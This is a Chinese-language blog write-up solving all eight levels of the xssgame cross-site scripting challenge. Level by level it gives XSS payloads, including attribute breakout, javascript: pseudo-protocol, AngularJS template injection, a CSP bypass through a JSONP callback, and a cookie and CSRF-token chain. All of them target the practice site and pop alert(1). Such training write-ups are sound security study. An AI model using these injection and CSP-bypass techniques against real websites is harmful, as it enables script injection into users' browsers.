[xssgame] writeup

作者: ckj123 | 来源:发表于2018-10-06 15:38 被阅读10次

    xssgame writeup

    level 1

    很简单<img src=0 onerror=alert(1)>就好了

    level 2

    先测试一下<img src=0 onerror=alert(1)>
    没用 (我猜也是)
    F12看源码发现写到attribute里面了

    -w919
    闭合一下就好了1');alert('1

    level 3

    发现他改变url的时候img 的src也会跟着变
    可是发现src里面都被过滤了
    在fuzz的时候发现加了一个单引号就直接

    -w456
    变成这样了
    那再继续构造
    3.jpg'onload=alert(1)>就好了 -w731

    onload怎么会有交互=。=


    -w776

    ???突然就成功了,反正payload是这样的=。=

    level 4

    -w745

    fuzz一下,没找到。。注册一下,找找哪里会写到html里面

    跳转的太快了,看看跳转的页面=。=
    http://www.xssgame.com/f/__58a1wgqGgI/confirm?next=asd
    这里的asd可控

    -w801
    那么闭合一下搞一个alert(1)就好了
    -w733
    测试的时候发现啥都被过滤了,这时候就想到伪协议了=。=
    image

    level 5

    Angular JS
    没学过呀=。=
    上网看看
    我猜是模板注入
    {{$eval(alert(1););}}

    image
    为啥不行。

    了解了一下

    image
    ng-non-bindable会让所有的html都不解析=。=
    但是有两个隐藏的表单都试试
    image
    突然发现能改 image

    成功了

    level 6

    Angular 2 还行

    image
    哇一模一样但是就是class不一样

    Angular可以用html编码来注入
    &lcub;&lcub;$eval(%27alert(1)%27)}}

    image

    level 7

    CSP要绕CSP了=。=
    先看他的CSP是啥
    Content-Security-Policy: default-src http://www.xssgame.com/f/wmOM2q5NJnZS/ http://www.xssgame.com/static/

    以前测站的时候知道jsonp有一个callback参数
    就是加上的话会在最前面加一句callback的参数


    image

    就像这样


    image

    改了之后发现没啥用=。=

    function main() {
        var m = location.search.match('menu=(.*)');
        var menu = m ? atob(m[1]) : 'about';
        document.write('<script src="jsonp?menu=' + encodeURIComponent(menu) + '"></script>');
    }
    
    /**
     * Display stuff returned from server side.
     * @param {string} data - JSON data from server side
     */
    function callback(data) {
        if (data.title) document.write('<h1>' + data.title + '</h1>');
        if (data.pictures) data.pictures.forEach(function (url) {
                document.write('<img src="/static/img/' + url + '"><br><br>');
            });
    }
    
    main();
    

    看了一下他的源代码,发现他先base64解码了,然后把解码的加再进来=。=好吧
    http://www.xssgame.com/f/wmOM2q5NJnZS/?menu=PHNjcmlwdCBzcmM9Impzb25wP2NhbGxiYWNrPWFsZXJ0KDEpJTNCJTJmJTJmIj48L3NjcmlwdD4=
    这样就好了

    level 8

    Content-Security-Policy: default-src http://www.xssgame.com/f/d9u16LTxchEi/ http://www.xssgame.com/static/
    CSP

    function readCookie(name) {
        var match = RegExp('(?:^|;)\\s*' + name + '=([^;]*)').exec(document.cookie);
        return match && match[1];
    }
    
    var username = readCookie('name');
    if (username) {
        document.write('<h1>Welcome ' + username + '!</h1>');
    }
    
    document.addEventListener("DOMContentLoaded", function (event) {
        csrf_token.value = readCookie('csrf_token');
    });
    

    长记性了先看js代码

    就是会把cookie的东西写到网页上=。=

    image
    CSP的原因写了也没东西=。=
    不会了
    1. 第一个功能是设置name,但是仔细观察不难发现,设置的name是放在cookie里的,而且还接受了redirect参数,会在设置完跳到相应的位置。
    2. 第二个功能是设置参数,虽然我没搞明白具体是干了啥,但是amount这个参数只接受整数,如果传入不是整数,那么就会报错,并返回输入的内容,这个部分存在xss。
    3. 第二个功能还有一个问题是csrf_token,我们需要绕过这个东西,可以发现csrf_koen是存在cookie中的。

    土爷payload
    http://www.xssgame.com/f/d9u16LTxchEi/set?name=csrf_token&value=1&redirect=transfer%3Fname%3Dattacker%26amount%3D123%22%3E%3Cscript%3Ealert%281%29%3C%2fscript%3E%26csrf_token%3D1

    相关文章

      网友评论

        本文标题:[xssgame] writeup

        本文链接:https://www.haomeiwen.com/subject/dfehaftx.html